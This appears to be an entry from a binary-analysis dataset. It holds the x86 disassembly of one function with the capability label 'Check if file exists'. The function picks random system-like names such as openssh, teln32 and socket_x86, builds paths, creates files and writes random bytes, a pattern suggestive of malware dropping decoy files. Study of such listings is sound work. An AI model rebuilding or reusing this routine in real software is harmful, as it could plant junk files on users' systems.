Function at 0x4078e0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x110], ebx
call fcn.00420f38
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jle 0x407ba6
mov dword [ebp - 0x10c], edx
lea ebx, [ebx]
mov dword [ebp - 0x150], 0x43ccbc
mov dword [ebp - 0x14c], str.msys
mov dword [ebp - 0x148], str.mdata
mov dword [ebp - 0x144], str.lust
mov dword [ebp - 0x140], str.icxml
mov dword [ebp - 0x13c], str.ntw32
mov dword [ebp - 0x138], str.aeinv
mov dword [ebp - 0x134], str.apds
mov dword [ebp - 0x130], str.nthserv
mov dword [ebp - 0x12c], str.teln32
mov dword [ebp - 0x128], str.openssh
mov dword [ebp - 0x124], str.srv_x86
mov dword [ebp - 0x120], str.socket_x86
mov dword [ebp - 0x11c], str.nt32
mov dword [ebp - 0x118], str.winnt32
mov dword [ebp - 0x114], str.cygwin32
call fcn.00420f38
and eax, 0xf
mov eax, dword [ebp + eax*4 - 0x150]
lea ecx, [ebp - 0x108]
sub ecx, eax
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
test dl, dl
jne 0x4079d7
call fcn.00420f38
and eax, 0x80000001
jns 0x4079f2
dec eax
or eax, 0xfffffffe
inc eax
lea eax, [ebp - 0x108]
je 0x407a7e
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407a01
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407a11
sub eax, esi
lea edx, [edx + eax + 0x20]
push edx
call fcn.0041fc44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x108]
push eax
push ebx
push 0x43c3ac
push esi
call fcn.00420e97
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x407b91
mov edi, dword [ebp + 0xc]
cmp edi, 1
jge 0x407b91
push esi
call fcn.00422dcd
lea eax, [edi + 1]
add esp, 4
cmp eax, 1
jg 0x407b91
push eax
push esi
call fcn.004078e0
add esp, 8
jmp 0x407b91
mov dword [ebp - 0x130], 0x43cd40
mov dword [ebp - 0x12c], 0x43cd44
mov dword [ebp - 0x128], 0x43cd48
mov dword [ebp - 0x124], 0x43cd4c
mov dword [ebp - 0x120], 0x43cd50
mov dword [ebp - 0x11c], 0x43cd54
mov dword [ebp - 0x118], 0x43cd58
mov dword [ebp - 0x114], 0x43cd5c
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407ad1
sub eax, ecx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ae1
sub eax, esi
lea ecx, [edx + eax + 0x20]
push ecx
call fcn.0041fc44
add esp, 4
mov esi, eax
call fcn.00420f38
and eax, 7
mov edx, dword [ebp + eax*4 - 0x130]
push edx
lea eax, [ebp - 0x108]
push eax
push ebx
push str._s_s._s
push esi
call fcn.00420e97
add esp, 0x14
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x407b91
push 0x43cd6c
push esi
call fcn.00421a79
mov edi, eax
add esp, 8
test edi, edi
je 0x407b91
call fcn.00420f38
cdq
mov ecx, 0xa
idiv ecx
shl edx, 0xa
test edx, edx
jle 0x407b7f
mov ebx, edx
call fcn.00420f38
and eax, 0x800000ff
jns 0x407b67
dec eax
or eax, 0xffffff00
inc eax
push eax
push 0x43cd70
push edi
call fcn.00422dff
add esp, 0xc
dec ebx
jne 0x407b54
mov ebx, dword [ebp - 0x110]
push edi
call fcn.0042239f
add esp, 4
push esi
call fcn.00402160
add esp, 4
push esi
call fcn.00420f1b
add esp, 4
dec dword [ebp - 0x10c]
jne 0x407920
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420799
mov esp, ebp
pop ebp
ret